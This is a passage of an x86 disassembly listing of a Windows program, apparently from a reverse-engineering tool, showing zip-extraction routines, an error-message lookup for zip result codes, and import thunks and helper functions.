cmp dword ptr [ebp-4254h], 0
jge short loc_430E5E
mov byte ptr [ebp+var_4138], 1
jmp short loc_430EA7
; ---------------------------------------------------------------------------
loc_430E5E: ; CODE XREF: sub_430A42+411j
cmp dword ptr [ebp-4254h], 0
jnz short loc_430E69
jmp short loc_430EA7
; ---------------------------------------------------------------------------
loc_430E69: ; CODE XREF: sub_430A42+423j
push 0
lea edx, [ebp+var_4258]
push edx
mov eax, [ebp-4254h]
push eax
lea ecx, [ebp+var_4000]
push ecx
mov edx, [ebp+var_4134]
push edx
call dword_433050 ; WriteFile
mov [ebp+var_425C], eax
cmp [ebp+var_425C], 0
jnz short loc_430EA5
mov byte ptr [ebp+var_4138], 1
jmp short loc_430EA7
; ---------------------------------------------------------------------------
loc_430EA5: ; CODE XREF: sub_430A42+458j
jmp short loc_430E29
; ---------------------------------------------------------------------------
loc_430EA7: ; CODE XREF: sub_430A42+41Aj
; sub_430A42+425j ...
mov byte ptr [ebp+var_413C], 0
mov eax, [ebp+var_4134]
push eax
call dword_4330A0 ; GetFileType
mov [ebp+var_4130], eax
cmp [ebp+var_4130], 1
jnz short loc_430EE1
mov ecx, [ebp+var_4138]
and ecx, 0FFh
test ecx, ecx
jnz short loc_430EE1
mov byte ptr [ebp+var_413C], 1
loc_430EE1: ; CODE XREF: sub_430A42+486j
; sub_430A42+496j
mov edx, [ebp+var_413C]
and edx, 0FFh
test edx, edx
jz short loc_430F13
lea eax, [ebp+var_4010]
push eax
lea ecx, [ebp+var_4020]
push ecx
lea edx, [ebp+var_4018]
push edx
mov eax, [ebp+var_4134]
push eax
call dword_43308C ; SetFileTime
loc_430F13: ; CODE XREF: sub_430A42+4ADj
cmp [ebp+arg_C], 1
jz short loc_430F26
mov ecx, [ebp+var_4134]
push ecx
call dword_433020 ; CloseHandle
loc_430F26: ; CODE XREF: sub_430A42+4D5j
mov edx, [ebp+var_4260]
mov eax, [edx]
push eax
call sub_42FF37
add esp, 4
mov ecx, [ebp+var_4138]
and ecx, 0FFh
test ecx, ecx
jz short loc_430F4E
mov eax, 400h
jmp short loc_430F50
; ---------------------------------------------------------------------------
loc_430F4E: ; CODE XREF: sub_430A42+503j
xor eax, eax
loc_430F50: ; CODE XREF: sub_430A42+2Cj
; sub_430A42+8Cj ...
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
sub_430A42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430F58 proc near ; CODE XREF: sub_43168B+48p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0FFFFFFFFh
jz short loc_430F76
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
call sub_42FF37
add esp, 4
loc_430F76: ; CODE XREF: sub_430F58+Ej
mov eax, [ebp+var_4]
mov dword ptr [eax+4], 0FFFFFFFFh
mov ecx, [ebp+var_4]
cmp dword ptr [ecx], 0
jz short loc_430F96
mov edx, [ebp+var_4]
mov eax, [edx]
push eax
call sub_42EF38
add esp, 4
loc_430F96: ; CODE XREF: sub_430F58+2Ej
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
xor eax, eax
mov esp, ebp
pop ebp
retn
sub_430F58 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
cmp dword ptr [ebp+8], 1
jnz short loc_430FB9
mov eax, ds:dword_43BD44
mov [ebp+8], eax
loc_430FB9: ; CODE XREF: TEUm:00430FAFj
mov dword ptr [ebp-8], offset aUnknownZipResu ; "unknown zip result code"
mov ecx, [ebp+8]
mov [ebp-10h], ecx
cmp dword ptr [ebp-10h], 20000h
ja loc_43108E
cmp dword ptr [ebp-10h], 20000h
jz loc_4311B4
cmp dword ptr [ebp-10h], 500h
ja short loc_431047
cmp dword ptr [ebp-10h], 500h
jz loc_43117B
cmp dword ptr [ebp-10h], 200h
ja short loc_431028
cmp dword ptr [ebp-10h], 200h
jz loc_431157
cmp dword ptr [ebp-10h], 0
jz loc_43113F
cmp dword ptr [ebp-10h], 100h
jz loc_43114B
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_431028: ; CODE XREF: TEUm:00430FFDj
cmp dword ptr [ebp-10h], 300h
jz loc_431163
cmp dword ptr [ebp-10h], 400h
jz loc_43116F
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_431047: ; CODE XREF: TEUm:00430FE7j
cmp dword ptr [ebp-10h], 800h
ja short loc_43107C
cmp dword ptr [ebp-10h], 800h
jz loc_431199
cmp dword ptr [ebp-10h], 600h
jz loc_431187
cmp dword ptr [ebp-10h], 700h
jz loc_431190
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_43107C: ; CODE XREF: TEUm:0043104Ej
cmp dword ptr [ebp-10h], 10000h
jz loc_4311A2
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_43108E: ; CODE XREF: TEUm:00430FCDj
cmp dword ptr [ebp-10h], 80000h
ja short loc_4310F8
cmp dword ptr [ebp-10h], 80000h
jz loc_4311D8
cmp dword ptr [ebp-10h], 50000h
ja short loc_4310D9
cmp dword ptr [ebp-10h], 50000h
jz loc_4311CF
cmp dword ptr [ebp-10h], 30000h
jz loc_4311BD
cmp dword ptr [ebp-10h], 40000h
jz loc_4311C6
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_4310D9: ; CODE XREF: TEUm:004310ABj
cmp dword ptr [ebp-10h], 60000h
jz loc_4311F3
cmp dword ptr [ebp-10h], 70000h
jz loc_4311AB
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_4310F8: ; CODE XREF: TEUm:00431095j
cmp dword ptr [ebp-10h], 4000000h
ja short loc_43112D
cmp dword ptr [ebp-10h], 4000000h
jz loc_4311FC
cmp dword ptr [ebp-10h], 1000000h
jz loc_4311E1
cmp dword ptr [ebp-10h], 2000000h
jz loc_4311EA
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_43112D: ; CODE XREF: TEUm:004310FFj
cmp dword ptr [ebp-10h], 5000000h
jz loc_431205
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_43113F: ; CODE XREF: TEUm:00431010j
mov dword ptr [ebp-8], offset aSuccess ; "Success"
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_43114B: ; CODE XREF: TEUm:0043101Dj
mov dword ptr [ebp-8], offset aCuldnTDuplicat ; "Culdn't duplicate handle"
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_431157: ; CODE XREF: TEUm:00431006j
mov dword ptr [ebp-8], offset aCouldnTCreateO ; "Couldn't create/open file"
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_431163: ; CODE XREF: TEUm:0043102Fj
mov dword ptr [ebp-8], offset aFailedToAlloca ; "Failed to allocate memory"
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_43116F: ; CODE XREF: TEUm:0043103Cj
mov dword ptr [ebp-8], offset aErrorWritingTo ; "Error writing to file"
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_43117B: ; CODE XREF: TEUm:00430FF0j
mov dword ptr [ebp-8], offset aFileNotFoundIn ; "File not found in the zipfile"
jmp loc_43120C
; ---------------------------------------------------------------------------
loc_431187: ; CODE XREF: TEUm:00431064j
mov dword ptr [ebp-8], offset aStillMoreDataT ; "Still more data to unzip"
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_431190: ; CODE XREF: TEUm:00431071j
mov dword ptr [ebp-8], offset aZipfileIsCorru ; "Zipfile is corrupt or not a zipfile"
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_431199: ; CODE XREF: TEUm:00431057j
mov dword ptr [ebp-8], offset aErrorReadingFi ; "Error reading file"
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_4311A2: ; CODE XREF: TEUm:00431083j
mov dword ptr [ebp-8], offset aCallerFaultyAr ; "Caller: faulty arguments"
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_4311AB: ; CODE XREF: TEUm:004310EDj
mov dword ptr [ebp-8], offset aCallerTheFileH ; "Caller: the file had already been parti"...
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_4311B4: ; CODE XREF: TEUm:00430FDAj
mov dword ptr [ebp-8], offset aCallerCanOnlyG ; "Caller: can only get memory of a memory"...
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_4311BD: ; CODE XREF: TEUm:004310C1j
mov dword ptr [ebp-8], offset aCallerNotEnoug ; "Caller: not enough space allocated for "...
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_4311C6: ; CODE XREF: TEUm:004310CEj
mov dword ptr [ebp-8], offset aCallerThereWas ; "Caller: there was a previous error"
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_4311CF: ; CODE XREF: TEUm:004310B4j
mov dword ptr [ebp-8], offset aCallerAddition ; "Caller: additions to the zip have alrea"...
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_4311D8: ; CODE XREF: TEUm:0043109Ej
mov dword ptr [ebp-8], offset aCallerMixingCr ; "Caller: mixing creation and opening of "...
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_4311E1: ; CODE XREF: TEUm:00431115j
mov dword ptr [ebp-8], offset aZipBugInternal ; "Zip-bug: internal initialisation not co"...
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_4311EA: ; CODE XREF: TEUm:00431122j
mov dword ptr [ebp-8], offset aZipBugTryingTo ; "Zip-bug: trying to seek the unseekable"
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_4311F3: ; CODE XREF: TEUm:004310E0j
mov dword ptr [ebp-8], offset aZipBugTheAntic ; "Zip-bug: the anticipated size turned ou"...
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_4311FC: ; CODE XREF: TEUm:00431108j
mov dword ptr [ebp-8], offset aZipBugTriedToC ; "Zip-bug: tried to change mind, but not "...
jmp short loc_43120C
; ---------------------------------------------------------------------------
loc_431205: ; CODE XREF: TEUm:00431134j
mov dword ptr [ebp-8], offset aZipBugAnIntern ; "Zip-bug: an internal error during flati"...
loc_43120C: ; CODE XREF: TEUm:00431023j
; TEUm:00431042j ...
mov edx, [ebp-8]
push edx
call sub_4318BE ; strlen
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp+0Ch], 0
jz short loc_431227
cmp dword ptr [ebp+10h], 0
jnz short loc_43122C
loc_431227: ; CODE XREF: TEUm:0043121Fj
mov eax, [ebp-4]
jmp short loc_431267
; ---------------------------------------------------------------------------
loc_43122C: ; CODE XREF: TEUm:00431225j
mov eax, [ebp-4]
mov [ebp-0Ch], eax
mov ecx, [ebp-0Ch]
add ecx, 1
cmp ecx, [ebp+10h]
jbe short loc_431246
mov edx, [ebp+10h]
sub edx, 1
mov [ebp-0Ch], edx
loc_431246: ; CODE XREF: TEUm:0043123Bj
mov eax, [ebp-0Ch]
push eax
mov ecx, [ebp-8]
push ecx
mov edx, [ebp+0Ch]
push edx
call dword_43319C ; strncpy
add esp, 0Ch
mov eax, [ebp+0Ch]
add eax, [ebp-0Ch]
mov byte ptr [eax], 0
mov eax, [ebp-4]
loc_431267: ; CODE XREF: TEUm:0043122Aj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43126B proc near ; CODE XREF: sub_424A2E+26p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_43126B
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push 23Ch
call sub_431784
add esp, 4
mov [ebp+var_1C], eax
mov [ebp+var_4], 0
cmp [ebp+var_1C], 0
jz short loc_4312B0
mov ecx, [ebp+var_1C]
call sub_431750
mov [ebp+var_28], eax
jmp short loc_4312B7
; ---------------------------------------------------------------------------
loc_4312B0: ; CODE XREF: sub_43126B+36j
mov [ebp+var_28], 0
loc_4312B7: ; CODE XREF: sub_43126B+43j
mov eax, [ebp+var_28]
mov [ebp+var_18], eax
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_18]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_10]
call sub_43012E
mov ds:dword_43BD44, eax
cmp ds:dword_43BD44, 0
jz short loc_431302
mov edx, [ebp+var_10]
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
push eax
call sub_43177E
add esp, 4
xor eax, eax
jmp short loc_43132A
; ---------------------------------------------------------------------------
loc_431302: ; CODE XREF: sub_43126B+7Fj
push 8
call sub_431784
add esp, 4
mov [ebp+var_24], eax
mov ecx, [ebp+var_24]
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
mov dword ptr [edx], 1
mov eax, [ebp+var_14]
mov ecx, [ebp+var_10]
mov [eax+4], ecx
mov eax, [ebp+var_14]
loc_43132A: ; CODE XREF: sub_43126B+95j
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_43126B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431338 proc near ; CODE XREF: sub_424A2E+37p
; sub_424A2E+52p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_431355
mov ds:dword_43BD44, 10000h
mov eax, 10000h
jmp short loc_431397
; ---------------------------------------------------------------------------
loc_431355: ; CODE XREF: sub_431338+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx], 1
jz short loc_431374
mov ds:dword_43BD44, 80000h
mov eax, 80000h
jmp short loc_431397
; ---------------------------------------------------------------------------
loc_431374: ; CODE XREF: sub_431338+29j
mov edx, [ebp+var_8]
mov eax, [edx+4]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov ecx, [ebp+var_4]
call sub_4301DC
mov ds:dword_43BD44, eax
mov eax, ds:dword_43BD44
loc_431397: ; CODE XREF: sub_431338+1Bj
; sub_431338+3Aj
mov esp, ebp
pop ebp
retn
sub_431338 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 134h
cmp dword ptr [ebp+8], 0
jnz short loc_4313BE
mov ds:dword_43BD44, 10000h
mov eax, 10000h
jmp loc_4314A0
; ---------------------------------------------------------------------------
loc_4313BE: ; CODE XREF: TEUm:004313A8j
mov eax, [ebp+8]
mov [ebp-134h], eax
mov ecx, [ebp-134h]
cmp dword ptr [ecx], 1
jz short loc_4313E6
mov ds:dword_43BD44, 80000h
mov eax, 80000h
jmp loc_4314A0
; ---------------------------------------------------------------------------
loc_4313E6: ; CODE XREF: TEUm:004313D0j
mov edx, [ebp-134h]
mov eax, [edx+4]
mov [ebp-4], eax
lea ecx, [ebp-130h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov ecx, [ebp-4]
call sub_4301DC
mov ds:dword_43BD44, eax
cmp ds:dword_43BD44, 0
jnz loc_43149B
mov eax, [ebp+10h]
mov ecx, [ebp-130h]
mov [eax], ecx
mov edx, [ebp+10h]
mov eax, [ebp-28h]
mov [edx+108h], eax
mov ecx, [ebp+10h]
mov edx, [ebp-24h]
mov [ecx+10Ch], edx
mov eax, [ebp-20h]
mov [ecx+110h], eax
mov ecx, [ebp+10h]
mov edx, [ebp-1Ch]
mov [ecx+114h], edx
mov eax, [ebp-18h]
mov [ecx+118h], eax
mov ecx, [ebp+10h]
mov edx, [ebp-14h]
mov [ecx+11Ch], edx
mov eax, [ebp-10h]
mov [ecx+120h], eax
mov ecx, [ebp+10h]
mov edx, [ebp-0Ch]
mov [ecx+124h], edx
mov eax, [ebp+10h]
mov ecx, [ebp-8]
mov [eax+128h], ecx
lea edx, [ebp-12Ch]
push edx
mov eax, [ebp+10h]
add eax, 4
push eax
call sub_4318B8 ; strcpy
add esp, 8
loc_43149B: ; CODE XREF: TEUm:00431411j
mov eax, ds:dword_43BD44
loc_4314A0: ; CODE XREF: TEUm:004313B9j
; TEUm:004313E1j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
cmp dword ptr [ebp+8], 0
jnz short loc_4314C1
mov ds:dword_43BD44, 10000h
mov eax, 10000h
jmp short loc_43150B
; ---------------------------------------------------------------------------
loc_4314C1: ; CODE XREF: TEUm:004314AEj
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp-8]
cmp dword ptr [ecx], 1
jz short loc_4314E0
mov ds:dword_43BD44, 80000h
mov eax, 80000h
jmp short loc_43150B
; ---------------------------------------------------------------------------
loc_4314E0: ; CODE XREF: TEUm:004314CDj
mov edx, [ebp-8]
mov eax, [edx+4]
mov [ebp-4], eax
mov ecx, [ebp+18h]
push ecx
mov edx, [ebp+14h]
push edx
mov al, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov ecx, [ebp-4]
call sub_430867
mov ds:dword_43BD44, eax
mov eax, ds:dword_43BD44
loc_43150B: ; CODE XREF: TEUm:004314BFj
; TEUm:004314DEj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 134h
cmp dword ptr [ebp+8], 0
jnz short loc_431532
mov ds:dword_43BD44, 10000h
mov eax, 10000h
jmp loc_43161C
; ---------------------------------------------------------------------------
loc_431532: ; CODE XREF: TEUm:0043151Cj
mov eax, [ebp+8]
mov [ebp-134h], eax
mov ecx, [ebp-134h]
cmp dword ptr [ecx], 1
jz short loc_43155A
mov ds:dword_43BD44, 80000h
mov eax, 80000h
jmp loc_43161C
; ---------------------------------------------------------------------------
loc_43155A: ; CODE XREF: TEUm:00431544j
mov edx, [ebp-134h]
mov eax, [edx+4]
mov [ebp-4], eax
lea ecx, [ebp-130h]
push ecx
mov edx, [ebp+14h]
push edx
mov al, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov ecx, [ebp-4]
call sub_430867
mov ds:dword_43BD44, eax
cmp ds:dword_43BD44, 0
jnz loc_431617
mov edx, [ebp+18h]
mov eax, [ebp-130h]
mov [edx], eax
mov ecx, [ebp+18h]
mov edx, [ebp-28h]
mov [ecx+108h], edx
mov eax, [ebp+18h]
mov ecx, [ebp-24h]
mov [eax+10Ch], ecx
mov edx, [ebp-20h]
mov [eax+110h], edx
mov eax, [ebp+18h]
mov ecx, [ebp-1Ch]
mov [eax+114h], ecx
mov edx, [ebp-18h]
mov [eax+118h], edx
mov eax, [ebp+18h]
mov ecx, [ebp-14h]
mov [eax+11Ch], ecx
mov edx, [ebp-10h]
mov [eax+120h], edx
mov eax, [ebp+18h]
mov ecx, [ebp-0Ch]
mov [eax+124h], ecx
mov edx, [ebp+18h]
mov eax, [ebp-8]
mov [edx+128h], eax
lea ecx, [ebp-12Ch]
push ecx
mov edx, [ebp+18h]
add edx, 4
push edx
call sub_4318B8 ; strcpy
add esp, 8
loc_431617: ; CODE XREF: TEUm:0043158Dj
mov eax, ds:dword_43BD44
loc_43161C: ; CODE XREF: TEUm:0043152Dj
; TEUm:00431555j
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431620 proc near ; CODE XREF: sub_424A2E+64p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_43163D
mov ds:dword_43BD44, 10000h
mov eax, 10000h
jmp short loc_431687
; ---------------------------------------------------------------------------
loc_43163D: ; CODE XREF: sub_431620+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx], 1
jz short loc_43165C
mov ds:dword_43BD44, 80000h
mov eax, 80000h
jmp short loc_431687
; ---------------------------------------------------------------------------
loc_43165C: ; CODE XREF: sub_431620+29j
mov edx, [ebp+var_8]
mov eax, [edx+4]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov ecx, [ebp+var_4]
call sub_430A42
mov ds:dword_43BD44, eax
mov eax, ds:dword_43BD44
loc_431687: ; CODE XREF: sub_431620+1Bj
; sub_431620+3Aj
mov esp, ebp
pop ebp
retn
sub_431620 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43168B proc near ; CODE XREF: sub_424A2E+72p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_0], 0
jnz short loc_4316A8
mov ds:dword_43BD44, 10000h
mov eax, 10000h
jmp short loc_431706
; ---------------------------------------------------------------------------
loc_4316A8: ; CODE XREF: sub_43168B+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx], 1
jz short loc_4316C7
mov ds:dword_43BD44, 80000h
mov eax, 80000h
jmp short loc_431706
; ---------------------------------------------------------------------------
loc_4316C7: ; CODE XREF: sub_43168B+29j
mov edx, [ebp+var_8]
mov eax, [edx+4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
call sub_430F58
mov ds:dword_43BD44, eax
mov ecx, [ebp+var_4]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
push edx
call sub_43177E
add esp, 4
mov eax, [ebp+var_8]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
call sub_43177E
add esp, 4
mov eax, ds:dword_43BD44
loc_431706: ; CODE XREF: sub_43168B+1Bj
; sub_43168B+3Aj
mov esp, ebp
pop ebp
retn
sub_43168B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jnz short loc_431718
mov al, 1
jmp short loc_431729
; ---------------------------------------------------------------------------
loc_431718: ; CODE XREF: TEUm:00431712j
mov eax, [ebp+8]
mov [ebp-4], eax
mov ecx, [ebp-4]
xor eax, eax
cmp dword ptr [ecx], 1
setz al
loc_431729: ; CODE XREF: TEUm:00431716j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431730 proc near ; CODE XREF: sub_430A42+339p
; sub_430A42+355p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_433214 ; _mbsstr
add esp, 8
pop ebp
retn
sub_431730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431750 proc near ; CODE XREF: sub_43126B+3Bp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov dword ptr [edx+134h], 0FFFFFFFFh
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_431750 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43177E proc near ; CODE XREF: sub_4210DD+16p
; sub_4219B0+1Dp ...
jmp dword_433104
sub_43177E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_431784 proc near ; CODE XREF: sub_42103D+1Dp
; sub_424152+10p ...
jmp dword_433138
sub_431784 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43178A proc near ; CODE XREF: sub_421ACF+99p
; sub_422C48+80p ...
jmp dword_433134
sub_43178A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_431790 proc near ; CODE XREF: sub_421C92+CCp
jmp dword_433130
sub_431790 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_431796 proc near ; CODE XREF: TEUm:00422644p
; sub_422A1E+15Cp ...
jmp dword_43312C
sub_431796 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43179C proc near ; CODE XREF: TEUm:00422638p
; sub_422A1E+C3p ...
jmp dword_433128
sub_43179C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317A2 proc near ; CODE XREF: TEUm:0042261Cp
; TEUm:00422659p ...
jmp dword_433124
sub_4317A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317A8 proc near ; CODE XREF: TEUm:00422610p
; sub_422A1E+141p ...
jmp dword_433120
sub_4317A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317AE proc near ; CODE XREF: TEUm:0042253Ap
; sub_422A1E+18p ...
jmp dword_43311C
sub_4317AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317B4 proc near ; CODE XREF: sub_422A1E+129p
; sub_425353+114p ...
jmp dword_433118
sub_4317B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317BA proc near ; CODE XREF: sub_424606+16Cp
; sub_424606+292p ...
jmp dword_433114
sub_4317BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317C0 proc near ; CODE XREF: sub_426584+7Fp
; sub_42692B+A9p ...
jmp dword_433110
sub_4317C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317C6 proc near ; CODE XREF: sub_426584+72p
; sub_426584+CBp ...
jmp dword_43310C
sub_4317C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317CC proc near ; CODE XREF: sub_424B41+4A3p
; sub_424B41+5CBp
jmp dword_433108
sub_4317CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317D2 proc near ; CODE XREF: sub_424B41+424p
; sub_424B41+552p
jmp dword_433100
sub_4317D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317D8 proc near ; CODE XREF: sub_425353+43p
; sub_425353+54p ...
jmp dword_4330FC
sub_4317D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317DE proc near ; CODE XREF: sub_426022+12Fp
; sub_42852F+1BAp
jmp dword_4330F8
sub_4317DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317E4 proc near ; CODE XREF: sub_426022+CCp
; sub_426022+14Fp
jmp dword_4330F4
sub_4317E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317EA proc near ; CODE XREF: sub_426584+DAp
; sub_42692B+104p ...
jmp dword_4330F0
sub_4317EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317F0 proc near ; CODE XREF: sub_426584+B7p
; sub_426584+122p ...
jmp dword_4330EC
sub_4317F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317F6 proc near ; CODE XREF: sub_426584+68p
; sub_426584+112p ...
jmp dword_4330E8
sub_4317F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4317FC proc near ; CODE XREF: SEH_421109+5j
; sub_431D0A+5j ...
jmp dword_4331DC
sub_4317FC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_431810 proc near ; CODE XREF: sub_421109+7Cp
cmp cl, 40h
jnb short loc_43182A
cmp cl, 20h
jnb short loc_431820
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_431820: ; CODE XREF: sub_431810+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_43182A: ; CODE XREF: sub_431810+3j
xor eax, eax
xor edx, edx
retn
sub_431810 endp
; =============== S U B R O U T I N E =======================================
sub_43182F proc near ; DATA XREF: TEUm:off_434AD4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_431A78
test [esp+4+arg_0], 1
jz short loc_431845
push esi
call sub_43177E
pop ecx
loc_431845: ; CODE XREF: sub_43182F+Dj
mov eax, esi
pop esi
retn 4
sub_43182F endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43184C proc near ; CODE XREF: TEUm:00421217p
; TEUm:004212F2p ...
jmp dword_4331E0
sub_43184C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_431860 proc near ; CODE XREF: TEUm:00421299p
; sub_42146A+1Ep ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_431880
loc_43186C: ; CODE XREF: sub_431860+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_43186C
loc_431880: ; CODE XREF: sub_431860+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_431860 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_431890 proc near ; CODE XREF: TEUm:0042174Bp
cmp cl, 40h
